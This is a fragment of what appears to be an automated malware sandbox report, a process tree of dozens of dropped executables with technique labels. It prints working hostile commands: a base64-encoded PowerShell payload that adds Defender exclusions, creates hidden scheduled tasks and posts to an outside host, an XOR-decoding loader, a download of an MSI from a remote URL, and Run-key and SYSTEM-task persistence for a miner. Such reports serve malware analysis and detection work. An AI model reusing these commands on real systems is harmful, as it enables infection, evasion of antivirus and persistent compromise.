BzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exevnc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sunwukongs.exesunwukongs.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe21.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RJ9KSMG6HD.tmp\21.tmp"C:\Users\Admin\AppData\Local\Temp\is-RJ9KSMG6HD.tmp\21.tmp" /SL5="$10408,10982082,869376,C:\Users\Admin\AppData\Local\Temp\a\21.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exenet_launcher.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Thimble.exeThimble.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeRedX_Setup.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeC:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c WindowsLogonService.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:rBIsWvhris;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'txUVnRbZxg' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe MaybeWorking.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe DetectionRateTesting.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exePulsar-Client.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\123123.exe123123.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\randll32.exerandll32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exeRsvp_invite%23903388.exe3⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GM2A604ZYF.tmp\pardufrigi_installer_1.0.p1.tmp"C:\Users\Admin\AppData\Local\Temp\is-GM2A604ZYF.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$1058C,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exePPTV(pplive)_forap_1084_9993.exe3⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Program Files (x86)\Internet Explorer\PPLite\plugin\1.0.1.1058\pplugin2.dll"4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -i4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -start4⤵
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s C:\Windows\system32\kindling.dll4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nsl762D.tmp\firewall.exe"C:\Users\Admin\AppData\Local\Temp\nsl762D.tmp\firewall.exe" /PPTVPATH=C:\Program Files (x86)\PPLive\PPTV /PPTVVERSION=3.1.5.00654⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" PPLiveU Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" RepairSetup.exe Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\CrashReporter.exe" CrashReporter.exe Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh firewall add allowedprogram "C:\Windows\system32\PPTVLauncher.exe" PPTVLauncher Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /RegServer4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe" -s -luminanceonly "C:\Users\Admin\AppData\Local\Temp\hwcheck.mp4"4⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 2 /A http://h.synacast.com/1.html?sa2foJynraDkn6ieptPSzNeVqaDRma+Ls62i5ajhqaKcmfKX7KHoovLhlrSpqtrG4OTNzeXXkNTRiebG3uTN1eLGkNIvCunO09+MzduFvdnP2+XY39bg5aeVnqCam6yWoKCamvKLta2dmqSVkJaypqedlrepme6VoKCcmaaVoJa0pqY=5⤵
-
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" -codec4⤵
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 1 /C forqd1084 /F 0 /G 3.1.5 /H 1 /I /L 0 /M 0 /N 0 /O 1 /P4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exerustdesk-1.2.3-2-x86_64.exe3⤵
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RuntimeBroker_rustdesk.exe4⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config5⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RuntimeBroker_rustdesk.exe6⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\loader.exeloader.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 0D4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\kantivirus\InstallHelper.exe"C:\Users\Admin\AppData\Local\Temp\kantivirus\InstallHelper.exe" -Pid:"2040" -LogFileName:"C:\Users\Admin\AppData\Local\Temp\kantivirus\semPacketDllLog.log" -InstallPath:"C:\Users\Admin\AppData\Local\Temp\kantivirus" -Tid1:"10" -Tid2:"186" -Tod1:"35" -Tod2:"1" -IId:"211542892" -UUID:"AC31484B8F863CD8F92AC7F829C79CAB" -TryNo:"1335" -SvrId:"2026.SP2.2" -StrategyList:"0;1;2;3;4|0;2;3;4" -Version:"3" -ProductInstalled:"0" -CompetitorMask:"0" -CompetitorInstalled:"0"4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Ref62535.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approval3546.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\beacon.exebeacon.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Lapce-windows.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i MicrosoftTeamUpdate.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe"C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
C:\Users\Admin\AppData\Roaming\namu832.exe"C:\Users\Admin\AppData\Roaming\namu832.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namu864.exenamu864.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i UVSODSAE.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i AUHAVKIQ.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\DebugView%2b%2b.exeDebugView%2b%2b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\DebugView%2b%2b.exeDebugView%2b%2b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\IMG001.exeIMG001.exe3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe5⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\tftp.exe"C:\Users\Admin\AppData\Local\Temp\tftp.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe6⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\tftp.exe"C:\Users\Admin\AppData\Local\Temp\tftp.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ5⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ6⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
